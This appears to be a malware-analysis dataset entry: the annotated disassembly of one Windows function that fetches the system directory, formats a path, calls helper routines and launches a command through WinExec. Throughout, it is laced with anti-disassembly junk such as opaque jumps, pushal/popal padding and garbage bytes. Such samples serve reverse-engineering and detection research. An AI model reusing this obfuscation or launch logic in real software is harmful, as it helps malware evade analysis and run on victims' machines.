Function at 0x401350
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0xc], 1
stosb byte es:[edi], al
pushal
test si, di
and ch, dl
and ax, cx
test dl, ah
cmp dh, 0x36
popal
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x214]
push esi
push ecx
lea edx, [ebp - 0x110]
push 0x407030
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
je 0x4013f1
push edi
mov di, 0x9ce2
pop edi
jne 0x4013f1
insd dword es:[edi], dx
dec esp
jl 0x40145b
xor eax, 0xdee0ed6d
aad 0xcf
xor byte [ebp + 0x4d8df845], cl
cld
lea eax, [ebp - 8]
lea ecx, [ebp - 4]
push eax
push ecx
call fcn.004049f0
jp 0x40141a
mov ebx, ebx
mov esi, esi
xchg bx, bx
jnp 0x40141a
psrlw mm1, qword [edx + 0x13]
enter 0x626d, 0x3f
daa
in eax, 0x78
retf
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x14]
mov edi, dword [ebp + 0xc]
push edx
mov edx, dword [ebp + 0x10]
push eax
push ecx
push edx
push edi
push esi
call fcn.00403000
add esp, 0x30
test eax, eax
jne 0x401442
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
int1
mov ah, 0x4e
add byte [eax], al
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push eax
lea edx, [ebp - 0x110]
push ecx
push edx
call fcn.00402a60
add esp, 0xc
test eax, eax
jne 0x40148d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
je 0x401496
mov ch, ch
xchg esi, esi
jne 0x401496
inc esp
js 0x4014ab
xchg cx, cx
mov edi, edi
mov edx, edx
jns 0x4014ab
adc eax, 0xfcf0e82f
invalid
call 0x4011a0
push eax
push ecx
push edx
test cx, 0x7529
cmp cx, 0x2eaa
dec al
add ecx, 0x45fb
cmp ah, 0x7c
mov al, 0x3a
inc dx
cmp ah, 0x36
and cl, 0x44
pop edx
pop ecx
pop eax
push 0x407068
call fcn.004027f0
add esp, 4
cmp eax, 0xffffffff
je 0x4014ee
mov ebx, 0xe
jmp 0x401505
push 0x40705c
call fcn.004027f0
add esp, 4
cmp eax, 0xffffffff
je 0x401540
mov ebx, 0xf
push edi
push esi
call fcn.00402940
add esp, 8
test eax, eax
je 0x40152e
push ebx
call fcn.00401730
push ebx
call fcn.00404eb0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x42573c]
test eax, eax
jne 0x401540
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edx
add edx, 0x2915
sub dl, ah
pop edx
lea eax, [ebp - 0x110]
push eax
push esi
call fcn.00404a80
add esp, 8
test eax, eax
jne 0x401561
mov dword [ebp - 0xc], eax
jbe 0x40156b
push esi
pop esi
ja 0x40156b
pop ebx
hlt
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x401582
push esi
call fcn.004012f0
add esp, 4
test eax, eax
jne 0x401582
mov dword [ebp - 0xc], eax
jle 0x401590
mov si, si
mov si, si
jg 0x401590
fsub qword [ebp + 0x458b92c9]
hlt
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4015a5
push 0
push esi
call fcn.00402b90
add esp, 8
mov dword [ebp - 0xc], eax
push ebx
test ebx, 0x2fbf
cmp bh, ch
add bh, 0x30
pop ebx
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x4015c3
push 0xffffffffffffffff
call fcn.00404eb0
add esp, 4
jb 0x4015da
nop
nop
mov edi, edi
xchg dl, dl
jae 0x4015da
adc ebx, dword [ebx + edx*4 + 0x69]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
pushal
sub ebx, 0xe88
test ecx, esi
dec ch
test bh, 0x2a
or ah, 0x12
sub bh, dh
or ax, ax
or al, 0x2f
cmp ch, 5
popal
push 0
push 0x40707c
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret